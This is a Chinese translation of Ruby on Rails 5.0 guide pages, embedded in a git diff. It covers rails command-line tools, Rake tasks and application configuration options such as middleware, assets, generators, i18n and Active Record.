这个生成器检测到以下各组件对应的目录已经存在:模型、控制器、辅助方法、布局、功能测试、单元测试和样式表。然后创建“HighScore”资源的视图、控制器、模型和数据库迁移(用于创建 high_scores 数据表和字段),并设置好路由,以及测试等。

我们要运行迁移,执行文件 20130717151933_create_high_scores.rb 中的代码,这样才能修改数据库的模式。那么要修改哪个数据库呢?执行 bin/rails db:migrate 命令后会生成 SQLite3 数据库。稍后再详细说明 bin/rails

+
+$ bin/rails db:migrate
+==  CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+   -> 0.0017s
+==  CreateHighScores: migrated (0.0019s) ======================================
+
+
+
+

介绍一下单元测试。单元测试是用来测试和做断言的代码。在单元测试中,我们只关注代码的一小部分,例如模型中的一个方法,测试其输入和输出。单元测试是你的好伙伴,你逐渐会意识到,单元测试的程度越高,生活的质量越高。真的。关于单元测试的详情,参阅Rails 应用测试指南

我们来看一下 Rails 创建的界面。

+
+$ bin/rails server
+
+
+
+

打开浏览器,访问 http://localhost:3000/high_scores,现在可以创建新的最高得分了(太空入侵者得了 55,160 分)。

1.4 rails console +

执行 console 命令后,可以在命令行中与 Rails 应用交互。rails console 使用的是 IRB,所以如果你用过 IRB 的话,操作起来很顺手。在控制台里可以快速测试想法,或者修改服务器端数据,而无需在网站中操作。

这个命令还可以使用别名“c”:rails c

执行 console 命令时可以指定在哪个环境中打开控制台:

+
+$ bin/rails console staging
+
+
+
+

如果你想测试一些代码,但不想改变存储的数据,可以执行 rails console --sandbox 命令。

+
+$ bin/rails console --sandbox
+Loading development environment in sandbox (Rails 5.0.0)
+Any modifications you make will be rolled back on exit
+irb(main):001:0>
+
+
+
+
1.4.1 apphelper 对象

在控制台中可以访问 apphelper 对象。

通过 app 可以访问 URL 和路径辅助方法,还可以发送请求。

+
+>> app.root_path
+=> "/"
+
+>> app.get _
+Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
+...
+
+
+
+

通过 helper 可以访问 Rails 和应用定义的辅助方法。

+
+>> helper.time_ago_in_words 30.days.ago
+=> "about 1 month"
+
+>> helper.my_custom_helper
+=> "my custom helper"
+
+
+
+

1.5 rails dbconsole +

rails dbconsole 能检测到你正在使用的数据库类型(还能理解传入的命令行参数),然后进入该数据库的命令行界面。该命令支持 MySQL(包括 MariaDB)、PostgreSQL 和 SQLite3。

这个命令还可以使用别名“db”:rails db

1.6 rails runner +

runner 能以非交互的方式在 Rails 中运行 Ruby 代码。例如:

+
+$ bin/rails runner "Model.long_running_method"
+
+
+
+

这个命令还可以使用别名“r”:rails r

可以使用 -e 选项指定 runner 命令在哪个环境中运行。

+
+$ bin/rails runner -e staging "Model.long_running_method"
+
+
+
+

甚至还可以执行文件中的 Ruby 代码:

+
+$ bin/rails runner lib/code_to_be_run.rb
+
+
+
+

1.7 rails destroy +

destroy 可以理解成 generate 的逆操作,它能识别生成了什么,然后撤销。

这个命令还可以使用别名“d”:rails d

+
+$ bin/rails generate model Oops
+      invoke  active_record
+      create    db/migrate/20120528062523_create_oops.rb
+      create    app/models/oops.rb
+      invoke    test_unit
+      create      test/models/oops_test.rb
+      create      test/fixtures/oops.yml
+
+
+
+
+
+$ bin/rails destroy model Oops
+      invoke  active_record
+      remove    db/migrate/20120528062523_create_oops.rb
+      remove    app/models/oops.rb
+      invoke    test_unit
+      remove      test/models/oops_test.rb
+      remove      test/fixtures/oops.yml
+
+
+
+

2 bin/rails +

从 Rails 5.0+ 起,rake 命令内建到 rails 可执行文件中了,因此现在应该使用 bin/rails 执行命令。

bin/rails 支持的任务列表可通过 bin/rails --help 查看(可用的任务根据所在的目录有所不同)。每个任务都有描述,应该能帮助你找到所需的那个。

+
+$ bin/rails --help
+Usage: rails COMMAND [ARGS]
+
+The most common rails commands are:
+generate    Generate new code (short-cut alias: "g")
+console     Start the Rails console (short-cut alias: "c")
+server      Start the Rails server (short-cut alias: "s")
+...
+
+All commands can be run with -h (or --help) for more information.
+
+In addition to those commands, there are:
+about                               List versions of all Rails ...
+assets:clean[keep]                  Remove old compiled assets
+assets:clobber                      Remove compiled assets
+assets:environment                  Load asset compile environment
+assets:precompile                   Compile all the assets ...
+...
+db:fixtures:load                    Loads fixtures into the ...
+db:migrate                          Migrate the database ...
+db:migrate:status                   Display status of migrations
+db:rollback                         Rolls the schema back to ...
+db:schema:cache:clear               Clears a db/schema_cache.dump file
+db:schema:cache:dump                Creates a db/schema_cache.dump file
+db:schema:dump                      Creates a db/schema.rb file ...
+db:schema:load                      Loads a schema.rb file ...
+db:seed                             Loads the seed data ...
+db:structure:dump                   Dumps the database structure ...
+db:structure:load                   Recreates the databases ...
+db:version                          Retrieves the current schema ...
+...
+restart                             Restart app by touching ...
+tmp:create
+
+
+
+

还可以使用 bin/rails -T 列出所有任务。

2.1 about +

bin/rails about 输出以下信息:Ruby、RubyGems、Rails 的版本号,Rails 使用的组件,应用所在的文件夹,Rails 当前所处的环境名,应用使用的数据库适配器,以及数据库模式版本号。如果想向他人需求帮助,检查安全补丁对你是否有影响,或者需要查看现有 Rails 应用的状态,就可以使用这个任务。

+
+$ bin/rails about
+About your application's environment
+Rails version             5.0.0
+Ruby version              2.2.2 (x86_64-linux)
+RubyGems version          2.4.6
+Rack version              1.6
+JavaScript Runtime        Node.js (V8)
+Middleware                Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
+Application root          /home/foobar/commandsapp
+Environment               development
+Database adapter          sqlite3
+Database schema version   20110805173523
+
+
+
+

2.2 assets +

bin/rails assets:precompile 用于预编译 app/assets 文件夹中的静态资源文件。bin/rails assets:clean 用于把之前编译好的静态资源文件删除。滚动部署时应该执行 assets:clean,以防仍然链接旧的静态资源文件。

如果想完全清空 public/assets 目录,可以使用 bin/rails assets:clobber

2.3 db +

bin/rails 命名空间 db: 中最常用的任务是 migratecreate,这两个任务会尝试运行所有迁移相关的任务(updownredoreset)。bin/rails db:version 在排查问题时很有用,它会输出数据库的当前版本。

关于数据库迁移的进一步说明,参阅Active Record 迁移

2.4 notes +

bin/rails notes 在代码中搜索以 FIXME、OPTIMIZE 或 TODO 开头的注释。搜索的文件类型包括 .builder.rb.rake.yml.yaml.ruby.css.js.erb,搜索的注解包括默认的和自定义的。

+
+$ bin/rails notes
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [ 20] [TODO] any other way to do this?
+  * [132] [FIXME] high priority for next deploy
+
+app/models/school.rb:
+  * [ 13] [OPTIMIZE] refactor this code to make it faster
+  * [ 17] [FIXME]
+
+
+
+

可以使用 config.annotations.register_extensions 选项添加新的文件扩展名。这个选项的值是扩展名列表和对应的正则表达式。

+
+config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
+
+
+
+

如果想查看特定类型的注解,如 FIXME,可以使用 bin/rails notes:fixme。注意,注解的名称是小写形式。

+
+$ bin/rails notes:fixme
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [132] high priority for next deploy
+
+app/models/school.rb:
+  * [ 17]
+
+
+
+

此外,还可以在代码中使用自定义的注解,然后使用 bin/rails notes:custom,并通过 ANNOTATION 环境变量指定注解类型,将其列出。

+
+$ bin/rails notes:custom ANNOTATION=BUG
+(in /home/foobar/commandsapp)
+app/models/article.rb:
+  * [ 23] Have to fix this one before pushing!
+
+
+
+

使用内置的注解或自定义的注解时,注解的名称(FIXME、BUG 等)不会在输出中显示。

默认情况下,rails notesappconfigdblibtest 目录中搜索。如果想搜索其他目录,可以通过 SOURCE_ANNOTATION_DIRECTORIES 环境变量指定,各个目录使用逗号分隔。

+
+$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
+$ bin/rails notes
+(in /home/foobar/commandsapp)
+app/models/user.rb:
+  * [ 35] [FIXME] User should have a subscription at this point
+spec/models/user_spec.rb:
+  * [122] [TODO] Verify the user that has a subscription works
+
+
+
+

2.5 routes +

rails routes 列出应用中定义的所有路由,可为解决路由问题提供帮助,还可以让你对应用中的所有 URL 有个整体了解。

2.6 test +

Rails 中的单元测试详情,参见Rails 应用测试指南

Rails 提供了一个名为 Minitest 的测试组件。Rails 的稳定性由测试决定。test: 命名空间中的任务可用于运行各种测试。

2.7 tmp +

Rails.root/tmp 目录和 *nix 系统中的 /tmp 目录作用相同,用于存放临时文件,例如 PID 文件和缓存的动作等。

tmp: 命名空间中的任务可以清理或创建 Rails.root/tmp 目录:

+
    +
  • rails tmp:cache:clear 清空 tmp/cache 目录;

  • +
  • rails tmp:sockets:clear 清空 tmp/sockets 目录;

  • +
  • rails tmp:clear 清空所有缓存和套接字文件;

  • +
  • rails tmp:create 创建缓存、套接字和 PID 所需的临时目录;

  • +
+

2.8 其他任务

+
    +
  • rails stats 用于统计代码状况,显示千行代码数和测试比例等;

  • +
  • rails secret 生成一个伪随机字符串,作为会话的密钥;

  • +
  • rails time:zones:all 列出 Rails 能理解的所有时区;

  • +
+

2.9 自定义 Rake 任务

自定义的 Rake 任务保存在 Rails.root/lib/tasks 目录中,文件的扩展名是 .rake。执行 bin/rails generate task 命令会生成一个新的自定义任务文件。

+
+desc "I am short, but comprehensive description for my cool task"
+task task_name: [:prerequisite_task, :another_task_we_depend_on] do
+  # 在这里定义任务
+  # 可以使用任何有效的 Ruby 代码
+end
+
+
+
+

向自定义的任务传入参数的方式如下:

+
+task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args|
+  argument_1 = args.arg_1
+end
+
+
+
+

任务可以分组,放入命名空间:

+
+namespace :db do
+  desc "This task does nothing"
+  task :nothing do
+    # 确实什么也没做
+  end
+end
+
+
+
+

执行任务的方法如下:

+
+$ bin/rails task_name
+$ bin/rails "task_name[value 1]" # 整个参数字符串应该放在引号内
+$ bin/rails db:nothing
+
+
+
+

如果在任务中要与应用的模型交互、查询数据库等,可以使用 environment 任务加载应用代码。

3 Rails 命令行高级用法

Rails 命令行的高级用法就是找到实用的参数,满足特定需求或者工作流程。下面是一些常用的高级命令。

3.1 新建应用时指定数据库和源码管理系统

新建 Rails 应用时,可以设定一些选项指定使用哪种数据库和源码管理系统。这么做可以节省一点时间,减少敲击键盘的次数。

我们来看一下 --git--database=postgresql 选项有什么作用:

+
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README.md
+add 'README.md'
+      create  app/controllers/application_controller.rb
+add 'app/controllers/application_controller.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+
+
+
+

上面的命令先新建 gitapp 文件夹,初始化一个空的 git 仓库,然后再把 Rails 生成的文件纳入仓库。再来看一下它在数据库配置文件中添加了什么:

+
+$ cat config/database.yml
+# PostgreSQL. Versions 9.1 and up are supported.
+#
+# Install the pg driver:
+#   gem install pg
+# On OS X with Homebrew:
+#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+#   gem install pg
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+
+
+
+

这个命令还根据我们选择的 PostgreSQL 数据库在 database.yml 中添加了一些配置。

指定源码管理系统选项时唯一的不便是,要先新建存放应用的目录,再初始化源码管理系统,然后才能执行 rails new 命令生成应用骨架。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/configuring.html b/v5.0/configuring.html new file mode 100644 index 0000000..c99d523 --- /dev/null +++ b/v5.0/configuring.html @@ -0,0 +1,1190 @@ + + + + + + + +配置 Rails 应用 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ + + +
+
+
+

1 初始化代码的存放位置

Rails 为初始化代码提供了四个标准位置:

+
    +
  • config/application.rb

  • +
  • 针对各环境的配置文件

  • +
  • 初始化脚本

  • +
  • 后置初始化脚本

  • +
+

2 在 Rails 之前运行代码

虽然在加载 Rails 自身之前运行代码很少见,但是如果想这么做,可以把代码添加到 config/application.rb 文件中 require 'rails/all' 的前面。

3 配置 Rails 组件

一般来说,配置 Rails 的意思是配置 Rails 的组件和 Rails 自身。传给各个组件的设置在 config/application.rb 配置文件或者针对各环境的配置文件(如 config/environments/production.rb)中指定。

例如,config/application.rb 文件中有下述设置:

+
+config.time_zone = 'Central Time (US & Canada)'
+
+
+
+

这是针对 Rails 自身的设置。如果想把设置传给某个 Rails 组件,依然是在 config/application.rb 文件中通过 config 对象去做:

+
+config.active_record.schema_format = :ruby
+
+
+
+

Rails 会使用这个设置配置 Active Record。

3.1 Rails 的一般性配置

这些配置方法在 Rails::Railtie 对象上调用,例如 Rails::EngineRails::Application 的子类。

+
    +
  • +

    config.after_initialize 接受一个块,在 Rails 初始化应用之后运行。初始化过程包括初始化框架自身、引擎和 config/initializers 目录中的全部初始化脚本。注意,这个块会被 Rake 任务运行。可用于配置其他初始化脚本设定的值:

    +
    +
    +config.after_initialize do
    +  ActionView::Base.sanitized_allowed_tags.delete 'div'
    +end
    +
    +
    +
    +
  • +
  • config.asset_host 设定静态资源文件的主机名。使用 CDN 贮存静态资源文件,或者想绕开浏览器对同一域名的并发连接数的限制时可以使用这个选项。这是 config.action_controller.asset_host 的简短版本。

  • +
  • config.autoload_once_paths 接受一个路径数组,告诉 Rails 自动加载常量后不在每次请求中都清空。如果 config.cache_classes 的值为 false(开发环境的默认值),这个选项有影响。否则,都只自动加载一次。这个数组的全部元素都要在 autoload_paths 中。默认值为一个空数组。

  • +
  • config.autoload_paths 接受一个路径数组,让 Rails 自动加载里面的常量。默认值是 app 目录中的全部子目录。

  • +
  • config.cache_classes 控制每次请求是否重新加载应用的类和模块。在开发环境中默认为 false,在测试和生产环境中默认为 true

  • +
  • config.action_view.cache_template_loading 控制每次请求是否重新加载模板。默认值为 config.cache_classes 的值。

  • +
  • config.beginning_of_week 设定一周从周几开始。可接受的值是有效的周几符号(如 :monday)。

  • +
  • config.cache_store 配置 Rails 缓存使用哪个存储器。可用的选项有::memory_store:file_store:mem_cache_store:null_store,或者实现了缓存 API 的对象。如果存在 tmp/cache 目录,默认值为 :file_store,否则为 :memory_store

  • +
  • config.colorize_logging 指定在日志中记录信息时是否使用 ANSI 颜色代码。默认值为 true

  • +
  • config.consider_all_requests_local 是一个旗标。如果设为 true,发生任何错误都会把详细的调试信息转储到 HTTP 响应中,而且 Rails::Info 控制器会在 /rails/info/properties 中显示应用的运行时上下文。开发和测试环境中默认为 true,生产环境默认为 false。如果想精细控制,把这个选项设为 false,然后在控制器中实现 local_request? 方法,指定哪些请求应该在出错时显示调试信息。

  • +
  • +

    config.console 设定 rails console 命令所用的控制台类。最好在 console 块中运行:

    +
    +
    +console do
    +  # 这个块只在运行控制台时运行
    +  # 因此可以安全引入 pry
    +  require "pry"
    +  config.console = Pry
    +end
    +
    +
    +
    +
  • +
  • config.eager_load 设为 true 时,及早加载注册的全部 config.eager_load_namespaces。包括应用、引擎、Rails 框架和注册的其他命名空间。

  • +
  • config.eager_load_namespaces 注册命名空间,当 config.eager_loadtrue 时及早加载。这里列出的所有命名空间都必须响应 eager_load! 方法。

  • +
  • config.eager_load_paths 接受一个路径数组,如果启用类缓存,启动 Rails 时会及早加载。默认值为 app 目录中的全部子目录。

  • +
  • config.enable_dependency_loading 设为 true 时,即便应用及早加载了,而且把 config.cache_classes 设为 true,也自动加载。默认值为 false

  • +
  • config.encoding 设定应用全局编码。默认为 UTF-8。

  • +
  • config.exceptions_app 设定出现异常时 ShowException 中间件调用的异常应用。默认为 ActionDispatch::PublicExceptions.new(Rails.public_path)

  • +
  • config.debug_exception_response_format 设定开发环境中出错时响应的格式。只提供 API 的应用默认值为 :api,常规应用的默认值为 :default

  • +
  • config.file_watcher 指定一个类,当 config.reload_classes_only_on_change 设为 true 时用于检测文件系统中文件的变动。Rails 提供了 ActiveSupport::FileUpdateChecker(默认)和 ActiveSupport::EventedFileUpdateChecker(依赖 listen gem)。自定义的类必须符合 ActiveSupport::FileUpdateChecker API。

  • +
  • config.filter_parameters 用于过滤不想记录到日志中的参数,例如密码或信用卡卡号。默认,Rails 把 Rails.application.config.filter_parameters += [:password] 添加到 config/initializers/filter_parameter_logging.rb 文件中,过滤密码。过滤的参数部分匹配正则表达式。

  • +
  • config.force_ssl 强制所有请求经由 ActionDispatch::SSL 中间件处理,即通过 HTTPS 伺服,而且把 config.action_mailer.default_url_options 设为 { protocol: 'https' }。SSL 通过设定 config.ssl_options 选项配置,详情参见 ActionDispatch::SSL 的文档

  • +
  • config.log_formatter 定义 Rails 日志记录器的格式化程序。这个选项的默认值在开发和测试环境中是 ActiveSupport::Logger::SimpleFormatter 的实例,在生产环境中是 Logger::Formatter。如果为 config.logger 设定了值,必须在包装到 ActiveSupport::TaggedLogging 实例中之前手动把格式化程序的值传给日志记录器,Rails 不会为你代劳。

  • +
  • config.log_level 定义 Rails 日志记录器的详细程度。在所有环境中,这个选项的默认值都是 :debug。可用的日志等级有 :debug:info:warn:error:fatal:unknown

  • +
  • config.log_tags 的值可以是一组 request 对象响应的方法,可以是一个接受 request 对象的 Proc,也可以是能响应 to_s 方法的对象。这样便于为包含调试信息的日志行添加标签,例如二级域名和请求 ID——二者对调试多用户应用十分有用。

  • +
  • +

    config.logger 指定 Rails.logger 和与 Rails 有关的其他日志(ActiveRecord::Base.logger)所用的日志记录器。默认值为 ActiveSupport::TaggedLogging 实例,包装 ActiveSupport::Logger 实例,把日志存储在 log/ 目录中。你可以提供自定义的日志记录器,但是为了完全兼容,必须遵照下述指导方针:

    +
      +
    • 为了支持格式化程序,必须手动把 config.log_formatter 指定的格式化程序赋值给日志记录器。
    • +
    • 为了支持日志标签,日志实例必须使用 ActiveSupport::TaggedLogging 包装。
    • +
    • +

      为了支持静默,日志记录器必须引入 LoggerSilenceActiveSupport::LoggerThreadSafeLevel 模块。ActiveSupport::Logger 类已经引入这两个模块。

      +
      +
      +class MyLogger < ::Logger
      +  include ActiveSupport::LoggerThreadSafeLevel
      +  include LoggerSilence
      +end
      +
      +mylogger           = MyLogger.new(STDOUT)
      +mylogger.formatter = config.log_formatter
      +config.logger = ActiveSupport::TaggedLogging.new(mylogger)
      +
      +
      +
      +
    • +
    +
  • +
  • config.middleware 用于配置应用的中间件。详情参见 配置中间件

  • +
  • config.reload_classes_only_on_change 设定仅在跟踪的文件有变化时是否重新加载类。默认跟踪自动加载路径中的一切文件,这个选项的值为 true。如果把 config.cache_classes 设为 true,这个选项将被忽略。

  • +
  • secrets.secret_key_base 用于指定一个密钥,检查应用的会话,防止篡改。secrets.secret_key_base 的值一开始是个随机的字符串,存储在 config/secrets.yml 文件中。

  • +
  • config.public_file_server.enabled 配置 Rails 从 public 目录中伺服静态文件。这个选项的默认值是 false,但在生产环境中设为 false,因为应该使用运行应用的服务器软件(如 NGINX 或 Apache)伺服静态文件。在生产环境中如果使用 WEBrick 运行或测试应用(不建议在生产环境中使用 WEBrick),把这个选项设为 true。否则无法使用页面缓存,也无法请求 public 目录中的文件。

  • +
  • +

    config.session_store 通常在 config/initializers/session_store.rb 文件中设定,用于指定使用哪个类存储会话。可用的值有 :cookie_store(默认值)、:mem_cache_store:disabled。最后一个值告诉 Rails 不处理会话。也可以指定自定义的会话存储器:

    +
    +
    +config.session_store :my_custom_store
    +
    +
    +
    +

    这个自定义的存储器必须定义为 ActionDispatch::Session::MyCustomStore

    +
  • +
  • config.time_zone 设定应用的默认时区,并让 Active Record 知道。

  • +
+

3.2 配置静态资源

+
    +
  • config.assets.enabled 是个旗标,控制是否启用 Asset Pipeline。默认值为 true

  • +
  • config.assets.raise_runtime_errors 设为 true 时启用额外的运行时错误检查。推荐在 config/environments/development.rb 中设定,以免部署到生产环境时遇到意料之外的错误。

  • +
  • config.assets.css_compressor 定义所用的 CSS 压缩程序。默认设为 sass-rails。目前唯一的另一个值是 :yui,使用 yui-compressor gem 压缩。

  • +
  • config.assets.js_compressor 定义所用的 JavaScript 压缩程序。可用的值有 :closure:uglifier:yui,分别使用 closure-compileruglifieryui-compressor gem。

  • +
  • config.assets.gzip 是一个旗标,设定在静态资源的常规版本之外是否创建 gzip 版本。默认为 true

  • +
  • config.assets.paths 包含查找静态资源的路径。在这个配置选项中追加的路径,会在里面寻找静态资源。

  • +
  • config.assets.precompile 设定运行 rake assets:precompile 任务时要预先编译的其他静态资源(除 application.cssapplication.js 之外)。

  • +
  • config.assets.prefix 定义伺服静态资源的前缀。默认为 /assets

  • +
  • config.assets.manifest 定义静态资源预编译器使用的清单文件的完整路径。默认为 public 文件夹中 config.assets.prefix 设定的目录中的 manifest-<random>.json

  • +
  • config.assets.digest 设定是否在静态资源的名称中包含 MD5 指纹。默认为 true

  • +
  • config.assets.debug 禁止拼接和压缩静态文件。在 development.rb 文件中默认设为 true

  • +
  • config.assets.compile 是一个旗标,设定在生产环境中是否启用实时 Sprockets 编译。

  • +
  • config.assets.logger 接受一个符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类。默认值与 config.logger 相同。如果设为 false,不记录对静态资源的伺服。

  • +
+

3.3 配置生成器

Rails 允许通过 config.generators 方法调整生成器的行为。这个方法接受一个块:

+
+config.generators do |g|
+  g.orm :active_record
+  g.test_framework :test_unit
+end
+
+
+
+

在这个块中可以使用的全部方法如下:

+
    +
  • assets 指定在生成脚手架时是否创建静态资源。默认为 true

  • +
  • force_plural 指定模型名是否允许使用复数。默认为 false

  • +
  • helper 指定是否生成辅助模块。默认为 true

  • +
  • integration_tool 指定使用哪个集成工具生成集成测试。默认为 :test_unit

  • +
  • javascripts 启用生成器中的 JavaScript 文件钩子。在 Rails 中供 scaffold 生成器使用。默认为 true

  • +
  • javascript_engine 配置生成静态资源时使用的脚本引擎(如 coffee)。默认为 :js

  • +
  • orm 指定使用哪个 ORM。默认为 false,即使用 Active Record。

  • +
  • resource_controller 指定 rails generate resource 使用哪个生成器生成控制器。默认为 :controller

  • +
  • resource_route 指定是否生成资源路由。默认为 true

  • +
  • scaffold_controllerresource_controller 不同,它指定 rails generate scaffold 使用哪个生成器生成脚手架中的控制器。默认为 :scaffold_controller

  • +
  • stylesheets 启用生成器中的样式表钩子。在 Rails 中供 scaffold 生成器使用,不过也可以供其他生成器使用。默认为 true

  • +
  • stylesheet_engine 配置生成静态资源时使用的样式表引擎(如 sass)。默认为 :css

  • +
  • scaffold_stylesheet 生成脚手架中的资源时创建 scaffold.css。默认为 true

  • +
  • test_framework 指定使用哪个测试框架。默认为 false,即使用 Minitest。

  • +
  • template_engine 指定使用哪个模板引擎,例如 ERB 或 Haml。默认为 :erb

  • +
+

3.4 配置中间件

每个 Rails 应用都自带一系列中间件,在开发环境中按下述顺序使用:

+
    +
  • ActionDispatch::SSL 强制使用 HTTPS 伺服每个请求。config.force_ssl 设为 true 时启用。传给这个中间件的选项通过 config.ssl_options 配置。

  • +
  • ActionDispatch::Static 用于伺服静态资源。config.public_file_server.enabled 设为 false 时禁用。如果静态资源目录的索引文件不是 index,使用 config.public_file_server.index_name 指定。例如,请求目录时如果想伺服 main.html,而不是 index.html,把 config.public_file_server.index_name 设为 "main"

  • +
  • ActionDispatch::Executor 以线程安全的方式重新加载代码。onfig.allow_concurrency 设为 false 时禁用,此时加载 Rack::LockRack::Lock 把应用包装在 mutex 中,因此一次只能被一个线程调用。

  • +
  • ActiveSupport::Cache::Strategy::LocalCache 是基本的内存后端缓存。这个缓存对线程不安全,只应该用作单线程的临时内存缓存。

  • +
  • Rack::Runtime 设定 X-Runtime 首部,包含执行请求的时间(单位为秒)。

  • +
  • Rails::Rack::Logger 通知日志请求开始了。请求完成后,清空相关日志。

  • +
  • ActionDispatch::ShowExceptions 拯救应用抛出的任何异常,在本地或者把 config.consider_all_requests_local 设为 true 时渲染精美的异常页面。如果把 config.action_dispatch.show_exceptions 设为 false,异常总是抛出。

  • +
  • ActionDispatch::RequestId 在响应中添加 X-Request-Id 首部,并且启用 ActionDispatch::Request#uuid 方法。

  • +
  • ActionDispatch::RemoteIp 检查 IP 欺骗攻击,从请求首部中获取有效的 client_ip。可通过 config.action_dispatch.ip_spoofing_checkconfig.action_dispatch.trusted_proxies 配置。

  • +
  • Rack::Sendfile 截获从文件中伺服内容的响应,将其替换成服务器专属的 X-Sendfile 首部。可通过 config.action_dispatch.x_sendfile_header 配置。

  • +
  • ActionDispatch::Callbacks 在伺服请求之前运行准备回调。

  • +
  • ActiveRecord::ConnectionAdapters::ConnectionManagement 在每次请求后清理活跃的连接,除非请求环境的 rack.test 键为 true

  • +
  • ActiveRecord::QueryCache 缓存请求中生成的所有 SELECT 查询。如果有 INSERT 或 UPDATE 查询,清空所有缓存。

  • +
  • ActionDispatch::Cookies 为请求设定 cookie。

  • +
  • ActionDispatch::Session::CookieStore 负责把会话存储在 cookie 中。可以把 config.action_controller.session_store 改为其他值,换成其他中间件。此外,可以使用 config.action_controller.session_options 配置传给这个中间件的选项。

  • +
  • ActionDispatch::Flash 设定 flash 键。仅当为 config.action_controller.session_store 设定值时可用。

  • +
  • Rack::MethodOverride 在设定了 params[:_method] 时允许覆盖请求方法。这是支持 PATCH、PUT 和 DELETE HTTP 请求的中间件。

  • +
  • Rack::Head 把 HEAD 请求转换成 GET 请求,然后以 GET 请求伺服。

  • +
+

除了这些常规中间件之外,还可以使用 config.middleware.use 方法添加:

+
+config.middleware.use Magical::Unicorns
+
+
+
+

上述代码把 Magical::Unicorns 中间件添加到栈的末尾。如果想把中间件添加到另一个中间件的前面,可以使用 insert_before

+
+config.middleware.insert_before Rack::Head, Magical::Unicorns
+
+
+
+

此外,还有 insert_after。它把中间件添加到另一个中间件的后面:

+
+config.middleware.insert_after Rack::Head, Magical::Unicorns
+
+
+
+

中间件也可以完全替换掉:

+
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+
+
+
+

还可以从栈中移除:

+
+config.middleware.delete Rack::MethodOverride
+
+
+
+

3.5 配置 i18n

这些配置选项都委托给 I18n 库。

+
    +
  • config.i18n.available_locales 设定应用可用的本地化白名单。默认为在本地化文件中找到的全部本地化键,在新应用中通常只有 :en

  • +
  • config.i18n.default_locale 设定供 i18n 使用的默认本地化。默认为 :en

  • +
  • config.i18n.enforce_available_locales 确保传给 i18n 的本地化必须在 available_locales 声明的列表中,否则抛出 I18n::InvalidLocale 异常。默认为 true。除非有特别的原因,否则不建议禁用这个选项,因为这是一项安全措施,能防止用户输入无效的本地化。

  • +
  • config.i18n.load_path 设定 Rails 寻找本地化文件的路径。默认为 config/locales/*.{yml,rb}

  • +
+

3.6 配置 Active Record

config.active_record 包含众多配置选项:

+
    +
  • config.active_record.logger 接受符合 Log4r 接口的日志记录器,或者默认的 Ruby Logger 类,然后传给新的数据库连接。可以在 Active Record 模型类或实例上调用 logger 方法获取日志记录器。设为 nil 时禁用日志。

  • +
  • +

    config.active_record.primary_key_prefix_type 用于调整主键列的名称。默认情况下,Rails 假定主键列名为 id(无需配置)。此外有两个选择:

    +
      +
    • 设为 :table_name 时,Customer 类的主键为 customerid
    • +
    • 设为 :table_name_with_underscore 时,Customer 类的主键为 customer_id
    • +
    +
  • +
  • config.active_record.table_name_prefix 设定一个全局字符串,放在表名前面。如果设为 northwest_Customer 类对应的表是 northwest_customers。默认为空字符串。

  • +
  • config.active_record.table_name_suffix 设定一个全局字符串,放在表名后面。如果设为 _northwestCustomer 类对应的表是 customers_northwest。默认为空字符串。

  • +
  • config.active_record.schema_migrations_table_name 设定模式迁移表的名称。

  • +
  • config.active_record.pluralize_table_names 指定 Rails 在数据库中寻找单数还是复数表名。如果设为 true(默认),那么 Customer 类使用 customers 表。如果设为 falseCustomer 类使用 customer 表。

  • +
  • config.active_record.default_timezone 设定从数据库中检索日期和时间时使用 Time.local(设为 :local 时)还是 Time.utc(设为 :utc 时)。默认为 :utc

  • +
  • config.active_record.schema_format 控制把数据库模式转储到文件中时使用的格式。可用的值有::ruby(默认),与所用的数据库无关;:sql,转储 SQL 语句(可能与数据库有关)。

  • +
  • config.active_record.error_on_ignored_order_or_limit 指定批量查询时如果忽略顺序或数量限制是否抛出错误。设为 true 时抛出错误,设为 false 时发出提醒。默认为 false

  • +
